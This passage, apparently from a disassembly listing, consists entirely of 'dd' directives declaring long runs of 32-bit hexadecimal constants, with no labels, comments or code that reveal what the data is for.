		dd 160DF510h, 229BD22Bh, 0F71D3281h, 0CC7FC6B8h, 798D113Ch
		dd 0D29D2404h, 0DB317625h, 25718C13h, 0D20BDBBEh, 583A9330h
		dd 0DA0C44E8h, 0EDCAAB00h, 0C3E5CB4Fh, 3B081784h, 5500835h
		dd 0B536E0AFh, 62F39551h, 82181459h, 6813BB7Eh,	0FB8C503Eh
		dd 5C449756h, 0F7EBFE00h, 9772F3C6h, 736256Ah, 9A20E85Bh
		dd 13C94Ah, 0A53C8BABh,	70AF1B74h, 0E9F0EE73h, 40970084h
		dd 23FFD95Bh, 8604E564h, 969CE869h, 1E8050ACh, 0B1C2E2C1h
		dd 0BFF3E001h, 43E5A258h, 0A888282Eh, 0A595BDB7h, 1F02A1D5h
		dd 6A2EF3BCh, 416239Fh,	0B2FFCE8Ch, 0A2EC4E3Ch,	74DAAEF4h
		dd 0FC01CC8h, 9342B2h, 0C28E4125h, 898529A5h, 3FE3314Ah
		dd 1A8B45Dh, 4C271112h,	0A38DB7E2h, 212C214Bh, 0DAA33BF6h
		dd 2A26AB8Dh, 0EBB89FA9h, 2883FC95h, 0BA0526FDh, 9D290291h
		dd 67771349h, 243C11E0h, 51087560h, 0C0810032h,	6DAF8750h
		dd 2C14615Dh, 0BA602660h, 0DDD72Ch, 3D7E7D34h, 0AC35D657h
		dd 0C7862B16h, 0FA0A22BBh, 6D258529h, 98ADDD94h, 7B013A12h
		dd 7850916h, 59505BEFh,	0E611817h, 80397F06h, 0B07111C9h
		dd 0D2EF2992h, 0AD805073h, 6104DBB8h, 0DAC07B97h, 0E68B385Fh
		dd 0E3810346h, 712394B9h, 0F8DB564Bh, 0C79EC187h, 3A5151BBh
		dd 70E22B5Dh, 1AFEC1DFh, 0BA8B7BFBh, 0D49F7045h, 7F684001h
		dd 0FC006B2Bh, 649F4766h, 2C759DE1h, 26CE410Ah,	0D3E460EBh
		dd 7007DFFh, 0E2028057h, 1C336E05h, 0C7FCC26Fh,	0D56B0F15h
		dd 8A5C0561h, 0D86FEBF8h, 0C5894C77h, 55732E25h, 7CF5A5BFh
		dd 0FB8BE250h, 81101057h, 5BA113EFh, 0FFA88208h, 52957B75h
		dd 0CB0914CEh, 2BC19D0Bh, 88B5D7A6h, 0F78732A7h, 4DDCA4Ah
		dd 917218Dh, 0FB730169h, 5DABF864h, 0A40B10CDh,	0E83AAFCh
		dd 9ED05DB3h, 15022892h, 0EF60C652h, 2AFA8166h,	82EEB84Ah
		dd 0DA08C1A3h, 7B7ABD92h, 0BB8026F6h, 55BF12FDh, 0C526012Bh
		dd 6C093765h, 0A16E5B86h, 9A904909h, 0F7ACA871h, 875D8D0Ch
		dd 51D92680h, 1C418863h, 1BEB6802h, 8709DF23h, 14268058h
		dd 66016618h, 8D02B8BBh, 1340E66Bh, 198801E1h, 2CDB9D15h
		dd 5F0ED281h, 4FC8FE4Ch, 2F981350h, 3E64BC38h, 90E4CED9h
		dd 79609390h, 0BAE13F3Bh, 0B5B757C2h, 0FF971C91h, 0DF81B170h
		dd 6226EA4Eh, 0E39F265h, 5ABA6106h, 0E0C9E8FEh,	87233195h
		dd 8A272E98h, 42E938D8h, 0A085F74Bh, 0B4E94DBh,	0B1639380h
		dd 9F09A5D4h, 0DD1E71C7h, 50E5DB25h, 20BD466h, 216E0EEh
		dd 9263581h, 5E257BD4h,	8127E0CBh, 9100EFA1h, 30618397h
		dd 29A2CFh, 0EC4113F4h
		dd 5F5B50FEh, 68381497h, 21F399F0h, 0F9E167E3h,	3B7BDD5h
		dd 0BD2B87F4h, 71DD258Ah, 0B4298010h, 0B952A6F8h, 0FB6D35Bh
		dd 0DB311CB2h, 4B37FD0h, 48BAEEFCh, 0C13EB838h,	8115BF66h
		dd 3E7BB62Bh, 5B26A5BDh, 59B787AFh, 0D5DEF450h,	3187044Dh
		dd 556FAE02h, 0AC128947h, 12CA32Fh, 0F2C2CB81h,	0A5613F48h
		dd 0C06F0C00h, 6914B095h, 6BDC827Bh, 7E36192h, 4512293Bh
		dd 4AE3B727h, 0A33EB68Dh, 11EF0050h, 6ACCE1E5h,	25D8989Dh
		dd 936513A9h, 0A82CBB01h, 782C7A25h, 0C26C91D7h, 0B9322904h
		dd 5F20BC2Ah, 5DE094F6h, 5401F2C9h, 0A53FD16Ch,	0BC2EA967h
		dd 0B589C7E3h, 4FAA1B14h, 4BD0459Dh, 0E1E135AEh, 0F0F96618h
		dd 589F6B7Ch, 12D3378h,	0DD52A55Eh, 0C2696CC1h,	9AAA5F05h
		dd 0C119D5FCh, 8A0FFAECh, 0C946FC3Bh, 51E6FF96h, 0BF50DD01h
		dd 13B245D1h, 0DCF954FEh, 618E4630h, 5EDDBD89h,	0F258A612h
		dd 78AC3114h, 9DD212C2h, 0DA4A4CB7h, 0D3648579h, 2CF1B304h
		dd 6A7D38ABh, 60534F95h, 96DD303Fh, 3803664Ch, 0FE9DFB50h
		dd 0C7E469C6h, 7FBE9600h, 1497DA1h, 0E7D59021h,	1CE12Eh
		dd 96585ACBh, 1EB37B5h,	0B7F95EB5h, 760A7A2Dh, 0A053C731h
		dd 9EAD8D09h, 0B35B12F9h, 3B914158h, 0E84E2CB8h, 3207AAEFh
		dd 675FB4A6h, 65E45E58h, 0CFDAAED3h, 0C0C014C8h, 24F070BFh
		dd 6114F8Dh, 0AB6B7DFh,	447DF312h, 4F88A2B2h, 9D895184h
		dd 5B8BB0FAh, 544BD99Dh, 1213B258h, 0B6B130B4h,	0B007F72h
		dd 17B308ECh, 0DB953354h, 0C238268h, 9F70B55Bh,	5F61D612h
		dd 18EC99ADh, 325E098Eh, 9077CA4Dh, 2B58F6h, 0F68B7982h
		dd 1EC4107Ch, 1DE90300h, 24D99E3Ch, 47A6A113h, 0A03139D4h
		dd 4AE9DA8Fh, 0BBE3C0FEh, 0F83E45BFh, 6DC1252Bh, 0ABD9C49Ch
		dd 17238F6Bh, 7A60939h,	8BAD32F6h, 92347E75h, 2D6A290h
		dd 916C14CBh, 1E82DB16h, 3633C204h, 835D505Fh, 0BAF9C78Ah
		dd 81B8B790h, 7B8F0E82h, 0D4DE3A7Ah, 14760181h,	47D9FE0Fh
		dd 0AD96D385h, 0D56AB3C2h, 0E653D718h, 6804FD82h, 0C0830408h
		dd 4F8EB6DEh, 47015169h, 0D591A2BEh, 1077C661h,	0D6DBB74Ch
		dd 44CC45Ah, 0EE27C5B8h, 6A4B61CBh, 0ED770444h,	9CC4D5BAh
		dd 66BF8060h, 789B25DCh, 3309EE66h, 0DD0D21BDh,	1B91699Fh
		dd 73EABD80h, 9D160E80h, 73B2C6CCh, 3496F00h, 820F7A42h
		dd 0F9A77BBEh, 575464A4h, 2130A08h, 50F5026Ah, 1800BC46h
		dd 0B3A269F0h, 0B53567B1h, 0B4092DEh, 0BF32CF40h, 0BAA1D579h
		dd 2EDEC626h, 0CB1F9EB2h, 0B73351DCh, 0C6ACF4E9h, 270A39E7h
		dd 4225F41Eh, 0A15F5BF9h, 60B8FB23h, 4D4E9D01h,	0D0815200h
		dd 13C5F670h, 30506174h, 686C9DADh, 5CB0D600h, 2D2C98B7h
		dd 0DDF50087h, 1E05529Ah, 3C94A892h, 2E28A721h,	0B7C23095h
		dd 0A4B195A1h, 80752B66h, 0C3D88840h, 7F615B53h, 99B72C6Ah
		dd 2E550B8Dh, 23B4B8D7h, 852D73BDh, 2234F4A6h, 1754E8Ch
		dd 18BA9E7Fh, 3DB19D8Bh, 29B02481h, 0D30C718Bh,	0A0F62F3Dh
		dd 9170E650h, 8531815Dh, 3E4BC2ECh, 3911D3ACh, 87068C26h
		dd 4A8DFC09h, 4F1BB323h, 0F81720ABh, 0D5259D29h, 27205B26h
		dd 4A70BEFCh, 1F50000Ch, 0F162DFA6h, 92C9169h, 0CA3114FCh
		dd 242B21DDh, 1A50AAB8h, 80037F24h, 67427E48h, 0A7D7F84Ch
		dd 0C030153h, 89C96EBBh, 2A492E95h, 2B95305Bh, 0E3604FC8h
		dd 26AF4B2Ah, 19203824h, 0A0615A28h, 0EA11C36Fh, 0C54E83E9h
		dd 857C88C8h, 0BB4C4438h, 31FC645Fh, 128EF2BAh,	0CAEBFFB7h
		dd 0DCD04E85h, 2C08F380h, 694955E9h, 544AE257h,	622967A5h
		dd 0B15502E1h, 0AA143A10h, 0B2AF0E75h, 0C122000Ch, 579FF0BEh
		dd 17EF008h, 0A3E81696h, 2E1EA98Dh, 9DC266ACh, 84080145h
		dd 0BB1D6D20h, 6A9250DEh, 0B40BA8B6h, 0B2F4EB63h, 896E00DEh
		dd 75DF2FF5h, 0A4925954h, 0D98D011Ch, 7E38D62Dh, 0CE11A70h
		dd 8E1C0641h, 0D8322277h, 0B0FFD6E3h, 1F3DC2E2h, 3A78DD73h
		dd 27168F04h, 5AF6EA3Bh, 82B9D804h, 2BDEAE0Fh, 0ABEF2285h
		dd 23C9EA05h, 60FCE121h, 6029B5E8h, 0DBB86D15h,	23FB61E8h
		dd 0D04D02F7h, 7DCDDAF9h, 61086BD3h, 0A25B1204h, 0BAF81466h
		dd 31BF0206h, 56648293h, 865D89Ah, 40B3EFB5h, 3E68A4CFh
		dd 2CB78A4Ah, 503C4FF0h, 0D0196F0Bh, 0AC775B55h, 9227D6ADh
		dd 0B05CD0DCh, 56BA27D3h, 26E93557h, 0E0B4E492h, 9795FE58h
		dd 5235A5A9h, 0F603AF3Bh, 16D52788h, 2C6C6BD1h,	765B7FFh
		dd 9B833A0h, 25F607FCh,	0B151FB4Ah, 90D9E200h, 3091E0Ah
		dd 755AE68Bh, 13A83261h, 490B963Bh, 5DF5CFD4h, 0CA9D1E31h
		dd 0F4B50118h, 715E972Fh, 9704EC58h, 0F6D0A473h, 89F72474h
		dd 3C5E2DE4h, 0EB5C4B5Bh, 7900906Eh, 9D5F2549h,	6824F153h
		dd 0C20936E5h, 465E5998h, 4D9C6B6Eh, 297EEC00h,	810AF595h
		dd 0ED6E3B60h, 14460F02h, 645696F9h, 71D2D32Fh,	7B4C4EEh
		dd 4BC96405h, 9ACC8B3Eh, 98E30036h, 64DB6648h, 627E25Dh
		dd 95B0DDBAh, 7D4AB529h, 0A1A821EBh, 39BC2A23h,	0CFABA5C0h
		dd 2270AD77h, 1CF4D400h, 90230BB3h, 0BDD35E14h,	1C77ECC9h
		dd 79E00893h, 0B48D2792h, 27D2D0DCh, 0BFC68CEBh, 66389825h
		dd 9F7E8A0h, 6B77CBC3h,	2A1DAE82h, 0BBC75004h, 88DEAD08h
		dd 1225E2ACh, 5CB25F5Ch, 3D8FA77h, 0CC508C68h, 380C81AFh
		dd 5252B373h, 0BB10FF80h, 2DEE90D0h, 0DBF8602Ch, 0AF277A60h
		dd 0AC9D002Eh, 0E70B87D3h, 0EA02722Ch, 8B4FAD12h, 0BE4D7761h
		dd 83621464h, 971DC82h,	95D46E57h, 8E21EEE2h, 6F0252E9h
		dd 7580FC9Eh, 2E7BA36Eh, 0E1B4E09Dh, 0C4DD8A20h, 0E0D39558h
		dd 0FB181959h, 7296B204h, 19BFD11Ch, 3EF906A9h,	39A9FEADh
		dd 0EBCD8A3Eh, 7520C909h, 0CD2DAFE5h, 0B4694B4Ah, 0F5BF41F6h
		dd 0BB23B2Dh, 4EAC81D1h, 0A5738501h, 6893693h, 8107DB7Ah
		dd 8C0F02F6h, 7976E379h, 600DC48Dh, 0FB62AE61h,	278E4683h
		dd 0BD6D0446h, 77C54BC0h, 0FB9204A3h, 4014E9CDh, 7CEEE6D7h
		dd 862100A8h, 5DE7626Dh, 2500FD73h, 0E644128Bh,	7CBB67CDh
		dd 142C2DD1h, 96938FD9h, 0C09F6333h, 3F36F1D9h,	0FF80A49Ch
		dd 0C283321h, 81003C2Eh, 0BF8864E8h, 0F95EA61Eh, 511DF03Ch
		dd 0D65B5D57h, 0E1A3B696h, 0F03B3AF5h, 568A4594h, 1780691Fh
		dd 2B6809ADh, 0D0CD6F12h, 900934BAh, 5194D41Bh,	9F62F4Eh
		dd 7539DFE0h, 14EE8E00h, 0F6FC32BFh, 55749752h,	0DD0113FEh
		dd 0A9218860h, 0C6B1B00h, 58B95603h, 23906B7h, 0E6506159h
		dd 9F2ACA26h, 19B19D41h, 7F2D2D2Eh, 0C400F96Ah,	0D4CE7398h
		dd 52D556Ah, 9837FDC7h,	0DFD87801h, 2D2E2164h, 34BC3B3Eh
		dd 0C015E680h, 44B5F2BBh, 95F8009Bh, 5FFC12B3h,	0ED02572Ah
		dd 756B429Ah, 117A6008h, 2B5B8123h, 0E1617A28h,	0C51B880Fh
		dd 798FACFh, 413DB801h,	0A1E9201Ch, 4865499Dh, 0B2EBE72Bh
		dd 898298EAh, 0A38A0B66h, 0FCC22177h, 9D959AD8h, 0F6CDD290h
		dd 0E7F0D660h, 0FC520E7Bh, 37B21Fh, 5304DBE5h, 0EF12B1BBh
		dd 78E225C0h, 0D844A588h, 9586962Ch, 871E43B5h,	1830D400h
		dd 6113DFDDh, 67C79482h, 0C8AD3EF3h, 0E206B6FCh, 60DC80B1h
		dd 56E31D58h, 0FED700B7h, 615A8E7Eh, 2EEDCFFEh,	0CC7A7E71h
		dd 0F24F6619h, 69945CDDh, 18DFEAA9h, 0A0BBD749h, 33B8ABh
		dd 0EEF49E71h, 99239E2h, 8584974Eh, 5326AAACh, 4D366055h
		dd 17FD306h, 0C49D92ACh
		dd 21E73B78h, 4C7B6900h, 37EDE2DAh, 0DFD85261h,	0DC2A5B7Fh
		dd 0FD5A8A92h, 93A8C6B2h, 808985Eh, 0B1B2423h, 39560855h
		dd 0E56E24EDh, 19BD2E5Eh, 1F9B1AA8h, 5EF2DB00h,	5E0CFD98h
		dd 0A941A26Dh, 1200FE8h, 19812F37h, 47437422h, 5ECB719Eh
		dd 0C280304Ch, 0BDB044Ah, 72FCF781h, 0BBEBDC1Ah, 8FEF3F0Bh
		dd 2D12770Bh, 5725F756h, 0BA785812h, 80DB9895h,	49D8BDC3h
		dd 0D6A7B85Eh, 5D6C047Eh, 0E2F4A5BAh, 0E2A20071h, 0BD2F8365h
		dd 0D06E3990h, 9D87BBBDh, 0C14C38h, 6A5B527Dh, 0EE57EDB5h
		dd 7A5E403Fh, 6259A6C1h, 0B140DDB6h, 4B4F7192h,	414DF5AFh
		dd 2604BE44h, 0EB800B5Eh, 20DFCE8Eh, 5012024Dh,	85509EB3h
		dd 1EF70AC5h, 514B20BBh, 0AAA503D9h, 57C8ED14h,	0BD2F5222h
		dd 25AE7495h, 0EBDA46Ah, 0B7827FA7h, 0E440BF78h, 890DAB2Dh
		dd 560B618Dh, 2B3B8C2Eh, 11E99D5Eh, 0A6C6BD5Ah,	0F1EF1DCEh
		dd 8BF31DE1h, 280CCAB3h, 62FF0FEDh, 0D4C14ED0h,	0D0527D5h
		dd 6A5FD1A2h, 3E01C398h, 0AFCEDD8Dh, 9A2F4E29h,	654D8158h
		dd 69DD3764h, 1CE2C836h, 684CF532h, 2994C40Eh, 56092B85h
		dd 0FEF0EB20h, 74F8274Ah, 911F4CE2h, 0D7628019h, 5EF87003h
		dd 0B36F12F2h, 8EDE5C86h, 4BFB2090h, 1C5D3BB0h,	0C038F67Fh
		dd 9CA68A7Bh, 8C0B24F4h, 0A1C6E234h, 645BD29h, 502FCF2Ah
		dd 20646DF3h, 2DB85565h, 8060DB5Eh, 0BE944B4Fh,	290A006Dh
		dd 8B64BFACh, 649731FAh, 0B7C1F094h, 260089B7h,	94AD292Dh
		dd 0C4E0268h, 8B66FF14h, 0DBCB615Ch, 0B9841747h, 0A57F8237h
		dd 3876CC90h, 0E580ABE1h, 1E9A51E3h, 0D805C399h, 0F2835240h
		dd 8F149EEBh, 8931E02Ah, 5BBBADC6h, 42C6F6Ah, 0EE95178h
		dd 0EE08E140h, 2C009DAEh, 0AC6CC180h, 69994790h, 2037602Ah
		dd 7D91F580h, 72178DF9h, 1679017Eh, 30AD51BBh, 33AF4108h
		dd 57B02AF6h, 0A3415A9Dh, 6CB700C9h, 127CBF90h,	85144E10h
		dd 61E08B3h, 9754FEAFh,	0F640AED2h, 0B38FBB66h,	9690FE5Ah
		dd 0AB02DCC1h, 534AC79Dh, 74DE60F4h, 0AAF54AAAh, 1003AB6Fh
		dd 0DFE46BD3h, 0EA91E1A9h, 4F1188D5h, 9AC900D6h, 29B83E26h
		dd 525CF88Ah, 0B082C195h, 5BD1BA68h, 0E1D6342Eh, 9655C2DCh
		dd 3B359D9Eh, 0FF5D402Dh, 0EAFE9FD1h, 737E4Bh, 364C9794h
		dd 0D2C4AC1h, 470F0B39h, 71D9891Ch, 0BA8944ABh,	76C1E09Eh
		dd 7BAD38E4h, 0B2EAB224h, 6BA9966Dh, 6E3DE70Bh,	96F502DDh
		dd 74490BD8h, 301E30D6h, 0D9CE5E00h, 3FDF1934h,	0D240923h
		dd 4DFFB9E3h, 0B4FCC954h, 0BACAF4A6h, 27B07569h, 0FA3C616Dh
		dd 0E44D8429h, 0CEEEA2E9h, 993D2499h, 0E248ED2Dh, 140BFCBh
		dd 1197800Fh, 0DB6ADF02h, 71FA8043h, 164EC27h, 8DD3329Ch
		dd 1007E9D9h, 941AAE0h,	0FD82C725h, 95C5B256h, 0EC9054BFh
		dd 2AB2A15Fh, 0FCA2BEB8h, 0A40C6ED7h, 0AC79B776h, 21206F28h
		dd 8C5F4B17h, 6A78F9EAh, 0C079CD97h, 39A23F58h,	5A10D209h
		dd 2C155E7Fh, 2772D0Ah,	5C51B39Fh, 5202C4FDh, 88E5C9BBh
		dd 1C06B99Eh, 70E600B0h, 1952957h, 0D5E8095Ah, 0A9569DCFh
		dd 62DA88FDh, 801804F5h, 0A8614AEFh, 95B5C234h,	0DA8A0208h
		dd 0FE17C85Ch, 11A2D1BEh, 0DF81002Dh, 0C3B71294h, 60D0E01Bh
		dd 100BC7F4h, 7934541Dh, 9A94005Ah, 23968503h, 200EED00h
		dd 0F9D5333Ch, 2B61105Eh, 0D939C8h, 0BCC381D1h,	2F1603E0h
		dd 0DEFB7EE9h, 4C508501h, 3C204755h, 6E7D8A09h,	0A9FA4A5Bh
		dd 0C1BB0918h, 4190DDF1h, 448C0D65h, 56A1E91Ch,	62D2EC72h
		dd 2B362600h, 599BA930h, 3BD99D4Dh, 25E9D4AFh, 3109D36Eh
		dd 0DD1F69BDh, 8B253B9Eh, 5D5CCD8h, 0CAED65BFh,	6DAC1074h
		dd 0AD0B845Eh, 733685B6h, 8B609EBAh, 0BA18F57Ch, 452E785Bh
		dd 4F2FA094h, 7AE249E3h, 42F75089h, 0E67355CEh,	1C5168F8h
		dd 250F0DB9h, 7F119A5Dh, 0E59DEBA2h, 37FFF74Ah,	620D80E3h
		dd 83A65B47h, 4540B696h, 735571F8h, 0DB0713DAh,	0FE118457h
		dd 5D1C2960h, 7D3C00AAh, 1E87F036h, 5E00F87Ch, 75CD5C86h
		dd 2C290DBAh, 0DE44D22Bh, 0DD400905h, 9BAEF877h, 84B7EA6h
		dd 73C66FEBh, 0F26B6F8h, 5045AF8Ch, 9C0B6B90h, 0E610975Fh
		dd 349890Fh, 129FD3C0h,	0EF4C9EC0h, 3F0536D2h, 895216F0h
		dd 530012AAh, 579AAB72h, 13A2B692h, 9A322B2Ah, 0F5AC7850h
		dd 85F38E6Ah, 5DE033B3h, 0BCAC5EB2h, 5F3FB2A3h,	0F7F6AFB8h
		dd 0D51EEB2Fh, 6C202EAAh, 2EE3154Ah, 820F8330h,	7FFB9D11h
		dd 33F7CE80h, 7BFEBA6h,	5086416Dh, 1D01A5Bh, 0FF0108CFh
		dd 31097AE1h, 17E7551Bh, 700A53A5h, 0F801A91Fh,	0A026BFC5h
		dd 292E7159h, 2ECC219Ah, 7327417Ah, 2EDF8B61h, 0E97D9228h
		dd 897D9E2Fh, 6017B1D1h, 0CFB83269h, 0AFA1C101h, 37DD80B8h
		dd 9BF26ECh, 1CE700Ah, 8102B370h, 2B653DD3h, 255B5C7Fh
		dd 75C17AEDh, 0B880A0F7h, 0FC8A760Eh, 0BFB05750h, 710DA520h
		dd 0E6469F5Fh, 126CA395h, 0DBAE8501h, 0F90AC049h, 0EF606CFCh
		dd 4035E820h, 2B85B21h,	72981212h, 0BF2DF5A7h, 23CE953h
		dd 29B13C34h, 8A60FD90h, 4B1DFEB9h, 50876EBCh, 8BD279B3h
		dd 0D27357F9h, 0BC41897Bh, 267E087Ah, 9BE6800h,	0BBB0E21h
		dd 14C45440h, 411FAAF8h, 0ED253E0Ah, 4220C081h,	0C904E5A9h
		dd 5841C7EAh, 0A29EE6FAh, 2254C19h, 55AC9FFFh, 794180F7h
		dd 0FC992AFEh, 64922340h, 0E7A651E9h, 0F4E8B63Eh, 2153A9Ch
		dd 0B5295325h, 0AE5C1CD1h, 25EF76ECh, 8CC2ED17h, 60E86F57h
		dd 0D02DD7BCh, 78FD992Fh, 8B1B4B22h, 0E79A4B91h, 9E9DC080h
		dd 4A16BC48h, 0F046CBAh, 94B92BA5h, 64A2BBC0h, 89271D83h
		dd 0B774F006h, 0ED55D289h, 0F4534BBDh, 9390B800h, 19425B73h
		dd 8650B662h, 0E4522A61h, 6E3E78B1h, 0F570E4Eh,	0C43C819Dh
		dd 0F57FF58Ah, 1427E09h, 5D17A9BDh, 0F542AB71h,	8C7D703h
		dd 620676ADh, 0F3558A0Fh, 4B2D803Ch, 116F1832h,	83306501h
		dd 0CCB77008h, 204E783Ch, 4955C687h, 74F2A917h,	8BA609BBh
		dd 6E09AC4Ah, 5BF94283h, 1B4B52F3h, 0BBCD30ABh,	0E72702E4h
		dd 0B3B78318h, 2C666659h, 0F49554FBh, 5C97F43Dh, 20D42B9Bh
		dd 63D209Dh, 0EB806109h, 3DE7D565h, 0B855CE04h,	0A7B65CC1h
		dd 0A239BC3Ah, 0BA3D7536h, 79AA4881h, 60303E23h, 0E91C40C5h
		dd 0F272662h, 61D8DE8Bh, 2BEE3BEFh, 0AFE4A13Ah,	40EFAE20h
		dd 0BE800343h, 0CB2C0EA1h, 29F951F8h, 0CD9DB125h, 1058C3C5h
		dd 16D5F282h, 7C254957h, 1C86E5Bh, 0D46E0CE8h, 847BF0CAh
		dd 0F4FB2C89h, 0CDA855D3h, 0B799809Fh, 0EDCF012Fh, 57E1024Fh
		dd 23726B7Bh, 5C6D0E1Ah, 26410DA1h, 0A2342BEBh,	4A42B2ABh
		dd 347A2D84h, 0EF22B00h, 0D8A596BFh, 2980F291h,	71207969h
		dd 2052906Dh, 5B4A05F9h, 0CB78BCD9h, 31B50983h,	0ACE316CCh
		dd 80B9B24Fh, 0C16D20Fh, 4B46047Ch, 0AE4C561Dh,	2DB41F20h
		dd 7D06007Fh, 6AF43A08h, 9A02F175h, 0E3349BBEh,	5FCC4016h
		dd 5B21955Bh, 582BF7BBh, 9995F8BAh, 0FD2123C2h,	1199BDEEh
		dd 6B39801Dh, 1D67A3BAh, 0D2AB2107h, 29C2B57Ch,	4AD3E84Bh
		dd 1EB58856h, 0C734EF00h, 9E139BBBh, 0C9410466h, 0AC5BC6AEh
		dd 0DE8AC5ECh, 0BCA30E84h, 873A204Ah, 6E02CAB2h, 6DED502Ah
		dd 13B05677h, 0E9FB3060h, 2500B494h, 56F844DCh,	2D6D35F1h
		dd 0A7F1E08Fh, 58615A89h, 623795A0h, 6EEBA700h,	9532F79h
		dd 56B3E84Bh, 0BB81BC59h
		dd 45D3C71Fh, 0B2A6B63Bh, 6CAA3114h, 85F6800Ch,	12AFC66Bh
		dd 0AA6A8197h, 7D070B6Fh, 0E0E773DFh, 0D321EA5h, 0F98A3117h
		dd 48E0D301h, 0DD6A3FF3h, 33A33E95h, 32FE5B78h,	0E0F9F5CDh
		dd 0BB5B6A80h, 0EC9907CFh, 0A9C30438h, 823F52A4h, 0A6C0512Dh
		dd 5B4B129Ch, 0F605AD0h, 12FA485h, 93F2D981h, 2B6136F5h
		dd 0DDA062CAh, 0D000BDEFh, 54232FC9h, 2285315Fh, 8B252CF1h
		dd 24FB66DEh, 25EEBD29h, 6011CA47h, 3F62C94Fh, 5F08CFCh
		dd 2E5F8690h, 8E014CE3h, 987C3E82h, 0A30B50BBh,	317DDF4h
		dd 1C502E36h, 0DEA9D791h, 78277AB8h, 430784Ah, 1B2163BBh
		dd 0CDAFE132h, 0BBAC446Ch, 0CEB088F7h, 0FA1F750Dh, 618BDCE5h
		dd 2D64F3h, 6DE772A3h, 7CCE4B39h, 6E258878h, 6436CD62h
		dd 0DD926214h, 94DF8889h, 4E40B2C9h, 0B4A6EC31h, 57A8CBBDh
		dd 0ED291497h, 0E1278216h, 0EB7E7630h, 0D2ACB5D1h, 5427610Bh
		dd 2C604633h, 39091D31h, 0CF2A61F2h, 0A6B65A69h, 0E5C8C1A7h
		dd 2D8347E2h, 417441FBh, 58130501h, 309112BAh, 53AEAC2Ah
		dd 4B41580Bh, 0D90D5536h, 97E27AF4h, 80FCDB92h,	6120C96Bh
		dd 471F1677h, 23B8A650h, 0BDFD2F89h, 0BED200B5h, 94733E83h
		dd 9B134609h, 8546180Bh, 50C404D2h, 0FFB2F2A7h,	0D105B2E5h
		dd 5F01A2AAh, 96D96681h, 70008A73h, 2AAB7A68h, 732D342Bh
		dd 5737D561h, 3E862081h, 0AD40DD98h, 0EC04F7h, 952BBF05h
		dd 0C08363CDh, 7801FBB5h, 509F4BD8h, 9D012514h,	907882DDh
		dd 0E45B5560h, 56AAAF00h, 73A125B3h, 0CA30FD2Bh, 62EA7572h
		dd 0F88B2E50h, 0F5F999CCh, 0C07A5A90h, 0C00A6A83h, 40FB9766h
		dd 3D730AD0h, 76A03DA0h, 64B2605Eh, 0C0BBF84Fh,	0A4D2A550h
		dd 317C0F4Dh, 3E0B929h,	5BD9FEA3h, 41B076BFh, 3A61C88Bh
		dd 15A851B9h, 9E016FA4h, 2F2DBB88h, 0A62A7B7Eh,	0AE872744h
		dd 5D82CBF2h, 0E699176Eh, 41E5B183h, 0C5BFCC4Eh, 25BDE86Ch
		dd 11FD65F8h, 95290950h, 6A24A24Dh, 7041FB02h, 0F0B6812h
		dd 0D090DABFh, 50563816h, 0D368ECDFh, 90DD61EBh, 2AFE65F5h
		dd 0EC9265A2h, 251B20E8h, 0A45961E9h, 0ECF501C7h, 0F80444E8h
		dd 0C40B657Fh, 5AA4FB59h, 0F5F56BB5h, 46D6F8FCh, 23860B14h
		dd 1DA5DFBDh, 8089FC50h, 0A2CB06F5h, 4E6B02CDh,	0B9C29A6Dh
		dd 14FE426Ah, 399D276Fh, 0C394D70Bh, 80B13095h,	4E45AD7h
		dd 0BF8C1D76h, 8BA043CAh, 0D0B757B0h, 7F2A4153h, 6EAAA885h
		dd 0AF900042h, 73AA7A31h, 526927C0h, 3FFC907Fh,	0FAC93AD5h
		dd 526B269Fh, 52F255h, 0A46D0876h, 0E5EC96h, 8926BFDEh
		dd 7F0D883Dh, 1558C9ECh, 2AB117C3h, 21F7ABAh, 0B81F4286h
		dd 0D50D4010h, 1B25250Ah, 0E4AD0D8h, 168817E2h,	0A09596AAh
		dd 7BEF8011h, 0ED715EE4h, 0C995254Ah, 210CFD0Bh, 53252643h
		dd 2400B659h, 32428B75h, 0A412689h, 489400CDh, 935E0FC2h
		dd 5F62999Dh, 8909BC2Ah, 5F640B53h, 0C14899E4h,	574D258Ah
		dd 0C4460792h, 30C8C900h, 98A4BFECh, 2B009753h,	5091EF81h
		dd 526F822Dh, 77E710A7h, 6C884A22h, 0BB3B0726h,	0B9CC9A6Fh
		dd 0F2BFD690h, 5C5C3E7Bh, 4E491C35h, 0F9864419h, 0D79155C2h
		dd 0D8C66A52h, 165B6915h, 0BAFCAC04h, 0B508D2E3h, 611207BDh
		dd 880C23E4h, 0C825BB66h, 413AFE9Ch, 19DCCB80h,	0A3F32Eh
		dd 7AD3F14Ch, 1FCCE4h, 676AFE42h, 0B50980A4h, 3792C712h
		dd 0BBF79CEBh, 4A426E09h, 4BB87F20h, 892AD9B7h,	0BD107395h
		dd 0CD4A014Dh, 2E602BDDh, 0BDEB8243h, 49E09CEDh, 459D098Bh
		dd 28233Dh, 8AF0A31Dh, 5CCAA8Dh, 0C9E4CD65h, 817CEAE8h
		dd 507C975Bh, 3AFD2660h, 0B9620997h, 0EE8738C3h, 5A3F0073h
		dd 5E95D5A4h, 0F59D6109h, 82B9030Bh, 70BDF510h,	0B4624801h
		dd 0CA3C76BBh, 8914FC4Bh, 7078DBFCh, 8E5AFE7Eh,	2E12F902h
		dd 0DCDD76FCh, 454E1302h, 0C0742BEAh, 98E34D53h, 0C25154EBh
		dd 0CB129729h, 86763F7Fh, 0B42EC731h, 0BDE9CF01h, 0A35282BBh
		dd 0D7346AE6h, 10D20446h, 0E1D65DB3h, 3F1EEC24h, 0DEC6298h
		dd 0BB336181h, 0C0E7448h, 0E323256Fh, 0DB97111h, 0EC557D88h
		dd 4C3D05E5h, 0C44E1654h, 4528AFE1h, 284F00B4h,	0E203A9C8h
		dd 8D25DC7Ch, 0BE76CE5Ch, 62B5D4B5h, 0C15B7D21h, 1C261C59h
		dd 9570AB4Fh, 0B2958D01h, 0CB810203h, 0A8AAB32h, 956705Ch
		dd 20DDBD2Bh, 0E086EDD5h, 573A316Fh, 7E77B325h,	0E2DE12D6h
		dd 75EC9293h, 4F6EAB4Fh, 61630301h, 2F14F310h, 0D317C04h
		dd 6A20699Dh, 8104E301h, 2EF08ABEh, 8404B335h, 0FF022D1Dh
		dd 0E66C60E1h, 0E9BD092Fh, 0A22AFCEDh, 0B5A7CD3Dh, 24C2B241h
		dd 0B188282Eh, 0C0D05C97h, 68997582h, 3250B19Eh, 0A83004C4h
		dd 0B8B4D215h, 2B55A281h, 25403EF4h, 13380BEAh,	0AAB7043Ah
